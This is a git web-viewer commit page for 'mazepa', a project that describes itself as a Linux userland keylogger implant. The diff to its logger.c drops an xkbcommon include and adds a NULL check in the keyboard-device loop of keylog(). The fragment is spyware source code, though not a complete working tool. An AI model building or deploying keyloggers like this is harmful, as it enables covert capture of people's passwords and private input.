mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
| commit c4969f934a8d574823dc941c3de79696e3e6889b
parent 8488547071757a15c49710e9e82936d16aa145c3 Author: djnn <[email protected]> Date: Sat, 15 Mar 2025 23:31:56 +0900 fix(implant): dropping libxkbmap feature Diffstat:
|
| 2 files changed, 9 insertions(+), 2 deletions(-) | |
diff --git a/implant/sources/logger.c b/implant/sources/logger.c @@ -12,7 +12,6 @@ #include <sys/select.h> #include <sys/types.h> #include <unistd.h> -#include <xkbcommon/xkbcommon.h> #include "implant.h" static int @@ -94,6 +93,14 @@ void keylog(implant_t *instance) { /* setup FD-sets */ keyboard_t *it = NULL; TAILQ_FOREACH(it, &instance->kbd, devices) { + if (!it) { + +#ifdef DEBUG + DEBUG_LOG("[!] instance->kbd has reached a NULL pointer"); +#endif + continue; + } + FD_SET(it->fd, &rd); FD_SET(it->fd, &err); } |